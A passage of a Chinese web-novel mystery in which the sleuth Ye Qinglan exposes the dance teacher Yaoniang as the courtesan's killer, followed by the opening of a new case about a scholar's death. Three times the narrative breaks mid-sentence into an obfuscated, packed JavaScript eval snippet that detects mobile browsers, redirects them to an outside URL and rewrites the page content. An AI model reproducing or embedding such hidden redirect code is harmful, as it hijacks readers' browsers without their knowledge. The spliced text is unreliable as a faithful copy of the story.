“陈公子下在照夜妃茶中的无梦散,阴差阳错让我喝了。我命大,没被毒死,只是昏睡过去。第二天醒来时,照夜妃已经吊在窗口了。我听到陆捕头破门而入的声音,便躲在门后面的角落,你们十几个人一拥而入,反倒让我抓住机会,趁乱溜了出去。” 陆冰目瞪口呆。当天早晨的情形他记忆犹新,房中空无一人,花魁吊在窗口。难道所有人的目光盯着尸体时,竟让另一人从眼皮底下溜走了?这让提刑司的面子往哪儿搁? “你撒谎!” 叶青岚笑得赖皮,“撒谎对我有什么好处?” 陆冰一时语塞。是啊,哪有人自曝其短的。 “我是如何溜出房间的并不重要。重要的是,凶手为何没把我一起干掉。当时我躺在床上,帐子只放下一半,凶手闯入、行凶、悬尸,不可能没注意到床上还有一个人。” “凶手见你熟睡,不想惊动你,暴露自己。” “我一开始也这么想,但细究起来,此举有极大的风险。我知道自己昏睡了一个晚上,什么动静都没听见,可凶手并不知道。万一我在装睡呢?万一我突然睁眼呢?万一我听到什么声音,猜到了凶手的身份呢?杀人现场有潜在的目击者,哪个凶手会甘冒奇险,放任不管?” 众人一想,确实如此。 陆冰灵机一动,“这个简单!韩崇德雇的杀手按人头收费,他只给了一个人的银子,杀你是另外的价钱!” 叶青岚啊了一声,惊叹陆冰清奇的脑回路,“陆捕头英明。确实有这个可能。” 陆冰又一次看向韩崇德。 韩崇德红烧肉圆般的脑袋上沁出豆大的汗珠,一个劲地重复,“我没有!我没有!” “我不如陆捕头英明,没想到杀手的收费标准上去。我一心以为,若凶手发现了我,必会灭口,而他却什么也没做。于是只剩下一种可能。” 他霍地站起身,“凶手根本就没有进入房间。” 人群里议论开了。 “不进入房间,如何行凶?” “难道凶手会飞?” “果真是鬼神作祟!” 陆冰大喝一声,“肃静!” 叶青岚道,“回到一开始的问题。悬尸窗外,吓唬的是谁?” 他在屋顶走了几步,站到发现尸体的窗户上方,面向滴翠湖。 19. 第 19 章 陆冰顺着他的目光看去,只见水波粼粼,山峦寂寂,一轮明月已悄然爬上山巅。 “难道……对面山上有人?!” 叶青岚高喊一声,“陆捕头果真英明!我苦思冥想几日才想通的事,陆捕头一下子就悟到了!” 陆冰清了清嗓子,“废话。本捕头任职提刑司多年,见过的人犯如过江之鲫,任谁都逃不出我的手掌心……” “自然,自然。我借用陆捕头的令牌,劳烦提刑司的兄弟去对面山上跑了一趟,从半山亭里捡了一堆东西。” 差役中走出一人,对着清单念道,“禀告陆捕头,在半山亭中发现暖炉、蜡烛、吃食、炊具、茶具、餐具、地毯、两柄剑和两件狐狸皮大氅。又在附近树丛中发现红漆表皮,推测是从亭柱上剥离的。” “对面的半山亭诸位可曾去过?那可是个踏青赏景的好地方。” 陆冰翻来覆去地看那单子,“现在是冬天。大半夜点着蜡烛,披着寒衣,爬到半山腰吃喝,还拿着剑砍柱子。是不是有病?” “有病,寒冬腊月躲在半山亭,避开他人耳目。有钱,那堆东西随便拿出一件都价值不菲。最重要的是,心里有鬼,那么多好东西随意弃之于地,甚至不敢回来收拾。 “本案相关的人中,谁既有病又有钱,既有空闲又有情趣,既任性又古怪?当然是照夜妃。” 陆冰缓缓转过头,“你们两人中哪一个和照夜妃半山幽会?” 他看看形销骨立的陈思贤,又看看肥头大耳的韩崇德,“还是书生和花魁更般配些。你方才不是说,与她是三世的恋人么?” 陈思贤拼命摇头,“我都身无分文了,哪有钱买这些东西……” 叶青岚悠悠道,“照夜妃半夜约人相会,倒不一定是见男人。那些东西也可能是她自己置办的。真正让我确定对方身份的,是那两件狐狸皮大氅。” 他腆着脸回想,“毛又白又软,手感极佳,穿起来暖和极了。可惜不是我的尺寸,一件太大,一件太小。大的那件我披上以后,下摆还拖在地上。那尺寸,简直就是为韩公子量身定做的。” 韩崇德再也忍耐不住,双膝一软,跪了下来。 “都是她的主意,小人什么都不知道啊!” 陆冰大奇,“居然是你?照夜妃会看上你?” 叶青岚道,“又没规定美人不能爱胖子。何况韩公子一脸福相,着实讨人喜欢。” “可他与照夜妃有仇,还当众羞辱她,两人早就闹翻了。师爷,把他的口供翻出来!” “他撒了谎。结仇那一段不假,回来报复那一段可太假了。你见过谁报仇是拿一沓银票甩在人家脸上的?这到底是报仇还是打赏? “依我看,韩公子对照夜妃根本就是余情未了。试想,他当年耗尽家财,心上人却病重不治。他伤心远走他乡,多年来念念不忘,还请人给她写了篇情真意切的悼文。好不容易东山再起,回归故地,发现她竟没死,当年种种都是骗他的。他心中是何滋味?惊喜、愤怒、庆幸、伤心、怨怼、爱而不得、恨又不舍,种种心绪说上三天三夜都说不完。他走后,照夜妃为什么三天没出房门?是受了下不了床的重伤,还是心潮起伏,无法见客?” 陆冰更惊讶了,“难道照夜妃也一直记挂着他?” “这是唯一合理的解释。照夜妃还是绛珠的时候,就极擅敛财,就算妈妈从中抽了大头,她手里也能攒下不少钱。以她的手段,真要找个人替自己赎身,早就走了。为什么早不走晚不走,刚当上花魁没多久就说要走?若真的爱钱,无论如何也应该赚完这一波,榨干了名气再走。只因为韩公子回来了。” 韩崇德泣道,“我们三年前就该在一起的,可是先母死活不同意。后来连遭变故,祖产典当,先母病逝,绛珠病危,我孤苦伶仃远走他乡,那时以为自己什么都没了。没想到时来运转,我又有了钱,绛珠成了花魁,她说她一直在等我……” “旁人都道你们因令堂过世而结仇,其实令堂过世,你们之间反而没了阻碍。” 韩崇德点头,“她把钱都投在我店里了。我立了字据,答应给她宝祥一成的股份。若她未死,就是宝祥的老板娘了。” “她避开蔡妈妈的密切监视,与你幽会,不让醉春风的任何一人知道。只因她要改头换面,去过新的生活了。” 韩崇德捂着脸呜咽起来。 “她叫我大冷天爬山,叫我准备那些东西,陪她吃肉喝酒。我嫌冷,劝她换个地方,她却说要磨练我的性子。她就是这么爱折磨人,经常让人恨得牙痒痒,可我也不知道为什么,对她说不出一个不字。 “那天晚上,我按老规矩,子时上山,在半山亭里等啊等,她却一直没来。过了丑时,实在冻得受不了,就独自回去了。第二天早上才听说出事了。我想进醉春风打听,可是提刑司到处抓人,三板斧何等威势,牵扯进案子的都要掉层皮,我怎么敢冒头?” 陆冰傲然道,“你以为躲得过?还不是被我抓到。” 韩崇德哭天抢地,“她死得这样惨,我却什么都不能为她做……” 陆冰冷笑,“她一死,你就躲起来。那一成股份正好不用给了。” 韩崇德瞪圆了眼睛,突然发出一声野兽般的嚎叫,朝陆冰扑过来。 两名差役及时按住他。 “怎么,被我说中心事,恼羞成怒了?” 韩崇德浑身颤抖,“你……胡说!” 叶青岚幽幽道,“我相信韩公子并非冷血无情之人。只是有些胆小愚钝罢了。” “说,照夜妃如何出的房间与你幽会?蔡妈妈不是派阿猫阿狗在她门口监视么?” 叶青岚大感欣慰,陆冰终于问到重点了。 韩崇德摇头,“我不知道。每次我都是晚到早走。” “你就没问过她?” “有情人幽会正如干柴烈火,哪还顾得上其他。” 陆冰脸现鄙夷,“好一个有情人。” 叶青岚远眺湖面,“她是飞过去的。” “飞?!她又没生翅膀,怎么飞?” “临湖的亭柱为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255588|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被削去表皮?丢在地上的两柄剑根本就没有开刃,是剑舞所用,谁家武林高手用这种剑决斗?那是故意制造的假象,为的是掩盖亭柱上原有的痕迹。他以为把划烂的表皮往树林里一扔就没事了,哪知道提刑司办案一丝不苟,硬是把碎片找了出来。” 方才那名差役高声道,“禀陆捕头,漆面上有一圈半寸不到的凹痕,推测是极细的线勒出来的。” 陆冰惊呼,“天蚕丝!” “不错。天蚕丝坚韧之极,原为海船上所用,在京城有价无市。这种极为罕见的东西,缠过半山亭的亭柱,也缠过照夜妃的脖子。她如何神不知鬼不觉进出醉春风,进出半山亭?绕颈的天蚕丝切口极不平整,剩下的部分用在了哪儿?现在陆捕头应该能猜到,我为何说她是‘飞’过去的?” 叶青岚把双手举过头顶,扑腾了一下。 “她抓着天蚕丝,飞过整个湖面?” 人人都张大了嘴,这未免太异想天开了。 “我猜测照夜妃在线上绑了滑轮,利用三楼窗口和对面的落差,往来滴翠湖两岸。半山亭的位置比醉春风三楼高,亭柱上的固定点是用来返回的。另有一个低处的固定点,用来抵达。说飞也不准确,她是利用高低落差和自身的重力滑过去,又滑回来的。” 陆冰愣了半天,才道,“这么长的天蚕丝架在湖上,难道大家都是瞎子吗?” 叶青岚一指湖面,“此刻皓月当空,视野如何?” “虽然有些朦胧,但空中有根线还是能看见的。” “别忘了今晚是满月,而且整条街张灯结彩,亮如白昼。如果不是满月,街上又没亮灯,所有的商铺都收摊了,谁会注意到湖上的古怪?” 陆冰怪叫,“她是人又不是蝙蝠!这么大一个人从湖面上滑过去……” “近日有坊间传言,滴翠湖上出现鬼魅。韩公子,照夜妃见你的时候,穿的是什么衣服?” 韩崇德突然被点名,吓了一跳,“狐狸毛大氅。” “大氅下面呢?” “……夜行衣。” 叶青岚微笑,“这就对了。陆捕头你想,她穿着夜行衣从湖上划过,一不小心,露出雪白的侧脸,又一不小心,让过路的更夫看见了。黑夜中一闪而过的白影,传来传去,不就传成鬼魅了嘛。” 陆冰挠挠头,“就算如你所说,照夜妃这样大费周章,就为了和这胖子幽会?” “当然不只是为了幽会。” 叶青岚目光一凝,看向岸边蜷缩的身影,“窈娘,事到如今可以说了吧。这支上元舞,到底应该怎么跳?” 窈娘瘫在地上,连头都没有抬,只是睫毛轻颤了一下。 “这个往来湖面的机关一个人完成不了,需要一个帮手。天蚕丝的一端固定在照夜妃窗口,另一端在帮手手里,架线、调整高度、收线,照夜妃从湖上来回一次,帮手就要从地面来回一次。她房间窗框上那两个大铁钉已经生了锈。虽然湖边空气潮湿,但钉子从楔进去到生锈,总要有些时日。我估计一个月就差不多了。” 20. 第 20 章 “上元舞一个月前开始排练,照夜妃死时身穿舞衣。种种迹象,指向同一种可能:这个机关就是为上元舞准备的,而她的帮手也就是机关的设计者,醉春风的舞蹈教习窈娘!” 所有人的目光都投向那个委顿在地的中年女子。 陆冰道,“可她腿脚不便,这样一次次地爬山,不是要了她的老命吗?” 窈娘紧紧抿住嘴唇,一语不发。 叶青岚点点头,“不光爬山,还要划船。方才幼薇姑娘表演的是后半段:画舫划到湖心,舞姬在船头踏碎月影。而表演的前半段,是照夜妃身穿发光的彩衣从窗口飞出,如一道璀璨流星划过黑夜,落在船上。” 四周一时静极,人人都不禁遐想那梦幻般的场景。 窈娘粗哑的声音打破寂静,“可惜你们无福得见。” “此舞原名飞天,是我师父当年呕心沥血编出来的舞,在我手里历经三次增补修改。世上再也不会有比它更好的舞!我把它完完整整地教给绛珠,期待她跳出最好的飞天,完成我们两代人的心愿,可她竟敢亵渎此舞!” 她呛了一下,伏在地上大咳起来,整张脸憋得通红。 蔡妈妈虚弱地问道,“窈娘,真是你做的?” 窈娘咳着咳着,声音转为呜咽,肩膀一抽一抽,像是伤心至极。 “我当年表演飞天,也是从高处滑下,只因丝线意外断裂,才掉下来摔残了腿。飞天是我这辈子跳的最后一支舞,是我永远弥补不了的遗憾。绛珠那个婊子,拿了一卷天蚕丝来哄我,说此物坚韧不易断,用来演飞天正合适。我悲喜交集,还以为老天开眼了,让我有生之年再创造一次完美的飞天! 她猛地抬起头,眼睛里亮闪闪的。 “那些日子心里面像有一把火,支撑着我四处奔波,找工匠、钉钉子、装滑轮、拉线、爬山。伤腿经不起折腾,骨头像裂开一样疼,我全都忍了下来。为了上元夜轰动全城,我们对外不露半点口风,锁了门,假装绛珠每晚在房中练舞。起初几日,她确实很用功,哪怕滑下来没踩稳,跌进了湖里,也不抱怨一句,换过衣服接着练。她天资很高,没几天就跳得像模像样,甚至比我当年还出色。我以为多年夙愿就要实现了,做梦都会笑醒。” 她声音陡然拔高,“可这个该死的婊子全是装出来的,她心里真正在乎的只有男人!她跟我说,舞已经学会了,多跳没什么意思,她要跟情郎在半山亭幽会,那样既有情趣,又能避开别人耳目。我不同意,她便对我使性子,威胁说不演了。 “我怎么忍心看到飞天舞功败垂成,只好咬牙答应,让她利用练舞的时间去幽会,等她过完了瘾,再上山布置机关,送她回去。 “那天我在山脚画舫上等着,湖风又湿又冷,就像有小鬼在一口一口啃我的伤腿,我实在冻得受不了,就比往常早一刻钟上了山。” 窈娘说到这里,面容扭曲,“我看到绛珠忘情地啃这个胖男人的脖子,一边啃一边说,什么飞天舞,谁爱跳谁跳,明天你就来赎我,从此离开醉春风,想去哪儿就去哪儿。那才叫真正的飞天呢。 “我就在亭子外面站着,可他们谁都没朝我看一眼。我心头恍惚了一瞬,很快就冷静下来。绛珠一贯任性妄为,做出这种背信弃义的事并不意外。可两代人毕生心血凝聚的舞,珍而重之地放到她手里,她竟然如此亵渎,弃如敝履。我下了决心,她必须死。” 她脸上现出一种残忍的快意。 “当年摔伤是我一生最惨痛之事,总想着若是那线没断该有多好。从此以后我对绳索机关一类格外留心。走访工匠铺时,我注意到一种绳圈的系法,绳子受到外力后会迅速拉紧,猎户常用此法布置陷阱。正好天蚕丝还剩下一截,我便如法炮制,潜入她房中,在铁钉上多绕了一道短线,另一头虚挂在滑轮上方。又照常把长的天蚕丝从窗口放下。” 叶青岚道,“扮成蔡妈妈进照夜妃房间的就是你吧。成衣铺的掌柜说,舞衣是醉春风的蔡妈妈亲自去取的,可蔡妈妈明明对上元舞的细节一无所知,还徒劳地安排阿猫阿狗监视房门。所以去取舞衣的,不是真的蔡妈妈。你穿上她那件紫色袄子,戴上兜帽,低头藏住脸,对面的阿猫阿狗透过小窗看到背影,就会误以为那是蔡妈妈。他们起初还为雇主遮掩,可受审时不小心说漏了嘴,害得蔡妈妈百口莫辩,屈打成招。” 蔡妈妈嘶声道,“窈娘你这个白眼狼,醉春风收留你那么多年,你却恩将仇报!” 窈娘不理会她,自顾自说下去,“我对绛珠说离上元节没几天了,总要穿上舞衣排练一次。线已经放下去了,等我划船到湖心,她直接滑下来就好。只要滑轮下滑几寸,那道短的天蚕丝就会掉下来,勒住她的脖子,而她身在半空,下坠之势根本止不住,全身的重量都吊在颈骨上,颈骨非断不可。她想抛弃飞天舞,我偏要让她死在这支舞上。” 叶青岚道,“所以她的尸体不是悬在窗户顶端,而在窗户中间。绕颈的天蚕丝必须有足够的长度,让她先向下滑一段,手脚都够不到窗口,无法自救的时候,再勒住脖子。” 窈娘肩膀抖动,大笑起来,“官爷,你看到那窗口飞天的样子美不美啊?姓韩的,可惜你没见着。” 韩崇德喉咙里发出嗬嗬的声音,突然挣脱了差役冲过来,重重一拳打在窈娘脸上,“毒妇!你还我绛珠!” 窈娘翻倒在地,韩崇德骑上去,还要再打,陆冰一声令下,两名差役扑上来把他拖开。 韩崇德不住嚎叫,“疯子!毒妇!” 陆冰道,“等我问完了,你再打不迟。若用这个手法行凶,那横跨湖面的天蚕丝到哪儿去了?” 窈娘张了张嘴,吐出一颗带血的门牙。 陆冰又问了一遍,她只是惨笑。 叶青岚目光一转,“幼薇,你看到了什么,现在可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255589|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以说了。” 幼薇痴痴地仰着头,脸上又是激动又是崇敬。 “我看到火光沿着一条线,从湖面往上烧,烧到隔壁窗口,灭了。那里有什么东西在发光。我探身出去,看见照夜妃的尸体,吓了一大跳。这时下面传来水声,我借着月光,看到那画舫停在岸边,一个黑影上了岸,走一步,停一停,动作僵硬地翻进了窈娘的窗户。” 窈娘的手臂猛地一动,好像要去抽打幼薇。 叶青岚道,“照夜妃死后,双手垂下,滑轮沿着丝线滑到船上。你把天蚕丝从桅杆顶端解下来,用火折子点燃,一路延烧上去。而吊颈的那截天蚕丝事先在明矾水里浸过,不易点燃。这样一来,你只要扔掉滑轮,把船划回去,就能毁掉所有证据。” 幼薇道,“叶公子莫非是亲眼看见的,怎能知道得如此清楚?我想破了头也想不明白那火是怎么回事,船又是做什么用的。叶公子当真是绝顶聪明。” 叶青岚笑道,“你也不蠢,知道以此要挟窈娘,教你上元舞。” 幼薇像被扇了一巴掌,“我……是真心想跳好上元舞的。” 窈娘抹了抹嘴角的血,“你天资奇差无比,跳飞天根本就是亵渎。” 叶青岚道,“亵渎飞天的都得死。所以你连她也要杀。” 幼薇怨恨道,“绛珠不听话,可我那么听你的话,你让我练多久我就练多久,任打任骂……你竟然如此心狠手辣!亏我还为你遮掩!” 叶青岚道,“你知道了她的秘密。她岂能容你?昨天早上她把你赶回去,就是为了在船上动手脚。” 窈娘轻蔑道,“像你这样的人我见多了,为了上位什么事做不出来?” “至少幼薇没有杀人。” “绛珠已死,再也没人能跳出完美的飞天舞,其余人活在这世上又有什么意思。” “窈娘,你为了舞甘愿奉献一生,可并非人人都愿意。绛珠不愿再以色侍人,以舞娱人,不愿再依附于醉春风,或依附于某个男人,她要去过新的生活。可你却要用飞天舞禁锢她。你有没有想过,她性子别扭,语出惊人,对韩公子只是随口一说,并不当真。你一气之下毁了她,才是真的毁了飞天舞重现于世的可能。” 窈娘愣怔半晌,突然爆发出凄厉的喊声,“我想要它被人记住啊!这舞传了两代人,埋没了两代人,它这么美,这么好,可总也演不成!绛珠要走了,再也不会有天赋那么好的舞姬了!难道完美的飞天舞注定无人得见吗?!” 叶青岚长叹一声,“你可知被人记住,本就是难事啊。” 围观众人站得腿脚发酸,却无人离开,人人心中掠过一丝淡淡的哀愁。今晚听了这惊心动魄的奇案,比历年的上元舞都精彩。 头顶的圆月接近中天。 陆冰吩咐差役,“把窈娘押回去。这三个人,”眼风扫过陈思贤、韩崇德和蔡妈妈,“都放了吧。” 21. 第 21 章 叶青岚大叫,“师爷!方才的推论都记下了吗?” 师爷写得手都抽筋了,没好气地白了他一眼。身后的书吏捧着一大沓卷宗,来回翻看,“都记下了。” “如此我就放心了。陆捕头,恭喜结案。” 陆冰仰起头,“我还有最后一个问题。此案细节甚多,你一个外人,怎会知道得一清二楚?” 叶青岚若无其事道,“在下只是闲得发慌,喜欢四处打探而已。绝没有什么了不起的靠山。” 他故意提及没有靠山,那便是暗示有靠山了。 陆冰眼珠一转,“叶兄行事虽然无法无天,抓凶手却甚是精准。可愿来提刑司,做我的副手?” 叶青岚眼前闪过他扬起鞭子,兜头抽过来的样子,下令差役用刑的样子,气势汹汹当街抓人的样子,不由地打个寒战。 他摸出顺来的提刑司令牌,“在下一介闲人,怎敢肖想公门之位?这块令牌物归原主,还请陆捕头原谅我不告而取之罪。” 陆冰微感失望,“这令牌你就拿着吧。以后若有需要,随时可以来找我。” 叶青岚受宠若惊,“多谢陆捕头!” 陆冰一挥手,带着差役们走了。 万众瞩目的上元舞成了凶案现场,醉春风里气氛尴尬。怜卿和玉奴搀着鼻青脸肿的蔡妈妈上楼去了。乐班为了挽救气氛,开始奏些俗艳小曲。 围观的人群又议论了半晌,才缓缓散去。今日之事,够他们回味半年的了。 叶青岚小心翼翼地从柱子上溜下来。 元夜火树银花,灯市如海,却没有一盏为他而亮。 他向来是喜欢热闹的,可方才大大地闹了这一场,浑身都有些脱力。 于是他沿着湖岸,往灯火阑珊处走去,一直走到车马渐稀,人声杳然。 “出来吧。” 身后没有动静。 叶青岚回头,“一直跟着我做什么?啊,是你……” 幼薇换了身干衣服,头发丝还滴着水,脸上的脂粉全部洗去了,以至于叶青岚差点没认出她来。 她语出惊人,“我想和你走!” 叶青岚一愣,“去哪儿?” “公子去哪儿,我就去哪儿。只要公子不嫌弃,我愿意服侍你一辈子!” “可我们才认识……半日。” “半日还不够么,”幼薇脸上浮起两团红晕,杏子般的眼睛忽闪忽闪,“公子在月下侃侃而谈,宛如天人,救了我的命,还抓住了窈娘。我这辈子都不会忘记你的恩情。” 叶青岚温柔地注视着她。他先前想错了。他抓住了凶手,有人领他的情。有人记住了他。哪怕只是半日。 幼薇续道,“我今夜在鬼门关转了一圈,忽然想通了。醉春风历任花魁都没有好下场,哪怕绛珠那样心如铁石的,也落到这么一个悲惨的结局。我若留在这里,结局说不定比她还惨。求公子带我离开醉春风!” 她见叶青岚迟迟不语,上来捉住他的手,“难道公子不喜欢我吗?” 幼薇的脸圆圆的,没了浓妆艳抹,看起来更显稚气。她是个风尘女子,琴技平平,舞技更差,有野心,没胆量,有心机,没手段,会讨好男人和争风吃醋,却把自己看得太低。 他们可以离开京城,踏遍大好河山,多学些谋生的手段。可以走走停停,随遇而安,养一只鹦鹉,天天教它说话。她可能会爱上他,可能会厌烦他,最后一走了之,也可能会留下来,陪他在人间再游荡五十年。 只要她能记住他。 “喜欢。” “那我们现在就走!天涯海角,我都跟了你去。” 她脚下的影子小小一团。浑圆的月亮已在中天。 子时已至。 叶青岚淡淡道,“你说要服侍我,先送碗汤圆来。” 幼薇睁大眼睛,“你在屋顶上不是吃过了吗?” “一碗怎么够?我说了那么多话,早就消化完了。” “好,我这就去给你买。”幼薇凑过来在他脸颊上轻轻一吻,转身跑走了。 叶青岚看着她纤细的身影越来越远,终于隐没在上元夜的万盏灯火之中。 这碗汤圆是注定吃不到了。 好在,他早已习惯了。 叶青岚驻足听了一会山风拂过树梢的声音,湖心的一轮满月随着水波起起伏伏。直到远处的灯火渐趋黯淡,他才施施然抬脚,走回人间去了。 白发书生 第一日 科考日,贡院门口人声鼎沸,车马喧嚣。 夕阳斜照在路边一个不起眼的凉茶摊子上。桌上一只半旧的大铜壶,泡着金银花、枸杞和胖大海,边上是两叠垒起来的木头茶碗,一面青布小旗,充作招牌,上面写了个歪歪扭扭的“茶”字。 叶青岚给自己倒了满满一碗,咕嘟咕嘟喝了,气运丹田,朗声喊道,“凉茶凉茶,清热降火,润喉明目,送考的喝一碗大吉大利,考完了喝一碗,来日必定金榜题名!” 他吆喝得卖力,引来左边状元及第粥和右边蟾宫折桂糕摊主的侧目,两人不甘示弱加入战团,吆喝声此起彼伏。 “喝了我的粥必中!” “吃了我的糕犹如吃了定心丸!” 此起彼伏地喊了一阵,真引来不少客人,吃糕的吃糕,喝茶的喝茶,不为充饥解渴,只为讨个好彩头。 叶青岚笑眯眯地数着铜板,倒了两碗凉茶分送左右摊主,“来,润润嗓子。” “多谢相公。” “两位生意经独到,下回出摊知会小弟一声,有钱一起赚。” “没那么好的市口咯。今日这一考完,学子们就散了,等放榜以后,高中的鱼跃龙门,落榜的各自回乡,再聚起那么多人,就要等三年后了。” 正说着,贡院门口一阵喧哗,两扇黑漆大门缓缓敞开,举子们一个接一个走出来。众生百态,各不相同,有双眼迷离的,有如释重负的,还有一张脸黑如锅底的。送考的一拥而上,拉过自家举子问长问短。 路边一行摊主,包括叶青岚在内,直起嗓子开始了最后一轮吆喝,一时间状元糕、进士茶满天飞。 马车越来越多,全停在路中间。贵人们下了车急急地往贡院门口赶,也不管马车是否挡道。本就狭窄的道路被横七竖八的马车分隔成许多小块,往里和往外的人群一对冲,直接堵死,许多人被挤到路边,撞在叶青岚的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255590|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊上。 叶摊主一手护住那大铜壶,一手去捞摔在地下的木碗,不住念叨,“小心!留神!木碗三文钱一个……” 最大的那辆马车接到了人,竟想在人堆里掉头,马蹄子直往人身上踩,引起一阵骚乱,车夫呵斥声、行人叫骂声响成一片,还夹着女人的哭喊。 正乱作一团,贡院门口突然传出一声尖叫。 “啊!死人了!” 叶青岚凝目一瞧,只见两名号军抬着一副担架匆匆出来,担架上的人细细一条,脸盖白布。 “乱嚷什么!快闪开!” “啧,考死了一个。” “上一届也有被抬出来的。” 担架很快就陷进人堆里走不动了,一阵风吹过,白布掀起一个角,露出半张铁青的脸。 叶青岚一瞥之下,顿时头皮发麻,如遭雷击。 陈思贤!两个月前,他还在滴翠湖对岸的山道上逼问过他呢! 方才要掉头不成的那匹马不知怎的和车厢脱了钩,前蹄抬起,长声嘶鸣,往人堆里撞去。行人惊呼之下,相互推搡,摔倒一片,哭爹喊娘声四起。 两名号军高声喝骂,担架被撞歪了,从一侧坠下一把长长的干枯的白发。 叶青岚吃了一惊,疑心自己看错了。这才两个月,他连头发都熬白了? 然而蜂拥的人群涌了过去,彻底挡住了视线。 叶青岚放下大铜壶,跳过桌子,抢进人堆,试图闯出一条路来。 啪,鞭子凌空抽响,一道熟悉的嗓音刺入耳膜,“天子脚下,贡院门口,谁敢放肆!都不许动!” 这把好嗓子京城闻名,能止小儿夜啼,一听便知是提刑司三板斧陆冰陆捕头。此声一出,效果立竿见影,所有人像定住了一样,唯独那马听不懂人话,兀自向行人头上踩下。 陆冰飞身而起,踩过两个倒霉的路人肩膀,如神兵天降般落在马背上,大手勒紧缰绳。 那马长嘶一声,前腿落地,喷了几下鼻息,不动了。 所有人都松了口气。不愧是大名鼎鼎的陆捕头。这样的大场面,唯有他才镇得住。 陆捕头喝道,“本次科举家父任监临官,负责考场外监察治安事宜。哪个胆大包天的敢借机闹事,须得先过我这一关。这马是谁家的?” 车夫灰头土脸道,“禀陆捕头,我家少爷体弱多病,又考了整整一天,夫人特意备了马车接他回去,没想到人多拥挤,这畜生受了惊。” “若是踩死了人,要这畜生偿命!那边怎么回事?” 两名号军重新抬起担架,“禀陆捕头,此考生在号舍暴毙,正要抬去提刑司。” “那就快去吧。何故在此拖延?存心引起骚动吗?!” 叶青岚挤到号军身后,偷偷伸手,一下扯掉白布。 一个枯瘦干瘪的身子露了出来,一大蓬白发覆盖在深陷的脸颊边,前胸肋骨根根凸起,就像是一具骷髅。 四周尖叫声连连。 “怎么瘦成这样?” “像被鬼吸干了。” “头发怎么是白的?” 陆冰瞪着陈思贤的脸,露出极为震惊的神色,半晌才道,“是他!” 22. 第 22 章 陈思贤躺在提刑司的停尸间里,皮包骨头的脸上还残留着生前那一股憨傻的神气。仵作放下工具,解开包住口鼻的绢布,汇报道,“禀陆捕头,根据死状推断,死者身死不超过一日,脑后枕骨处有撞击伤,整个人干瘦之极,呈油尽灯枯之相,这满头的白发……” 他拈起一股白发,还没说下去,头发竟瞬间脱离头皮,像雪片似的散落一地。 又拈起一股,还是这样,一碰就掉。 仵作不敢再动。 陆冰眉头紧锁,“你是说他考不出来,急火攻心,一头撞死了?” “死者身上并没发现其他外伤。” 角落里传来一句幽幽的,“好可怜啊……” 陆冰循声望去,发现是个清俊斯文的陌生面孔,“你是谁?” “禀陆捕头,小人叶二,是新来的差役。” “谁让你进来的?!” “陆捕头息怒。小人仰慕陆捕头多年,今天终于见到真人了,一时欢喜得忘了形。” “滚出去!” 叶青岚抢着道,“陆捕头可还记得,这死者陈思贤,曾是醉春风花魁上吊案中的嫌疑人之一!” 陆冰略感诧异,“你怎知道?” “小人早就把陆捕头大破花魁案的细枝末节都打听清楚了。上元之夜,月下审案,神兵天降,侃侃而谈,一番推论说得人人心服口服,凶手涕泪俱下,当场认罪。像陆捕头这样智勇双全的当世豪杰,试问京城谁不称颂?谁不心折?” 陆冰哼了一声,脸色缓和。 花魁案是他破的不假,不过在他的记忆中,窈娘被救上岸后就在自己正义的威势下痛哭流涕,承认了所有罪行,之前撒谎隐瞒的嫌疑人也一一道出了真相。师爷记录的口供中,前因后果连贯,各人的话相互印证,丝丝入扣,毫无破绽。 此案提刑司立了一大功,他父亲刑部侍郎陆校受了皇上当面夸奖,陆家父子在民间的声望也涨了一大波。 唯一奇怪的是,提刑司十二名差役口口声声说受他之命,提早埋伏在滴翠湖边救人。他自己却怎么也想不起来何时给他们下的命令。 陆冰从小习武,又正值血气方刚之年,一向自负智勇双全,绝不可能像家里那个老糊涂管家那样动辄忘事。 可差役们斩钉截铁地说,下令之人就是陆捕头。 此事他挂心已久,甚至怀疑有人扮作他的样子假传命令。可世上哪有这样胆大包天又神通广大之人?此人暗中助他破案,又有什么好处? 陆冰想了两个月,数夜辗转难眠,也没想出结果,又不便和外人说。 那叶二一脸崇敬地望着他,“陆捕头这沉吟不语的模样,是不是想到什么疑点了?” 陆冰沉下脸,“此人不该死。” “是啊,陈思贤还不到三十,若不是被花魁掏空了身子和银子,又卷入凶杀案,受了一场折磨惊吓,怎会瘦成这副样子……哎哟,莫非是饿死的?” “提刑司办案从不冤枉好人!从照夜妃房间里搜出来的银子和当票,经审验后,已经归还给他了。” 叶青岚挠挠头,“那他不该没钱吃饭啊。” 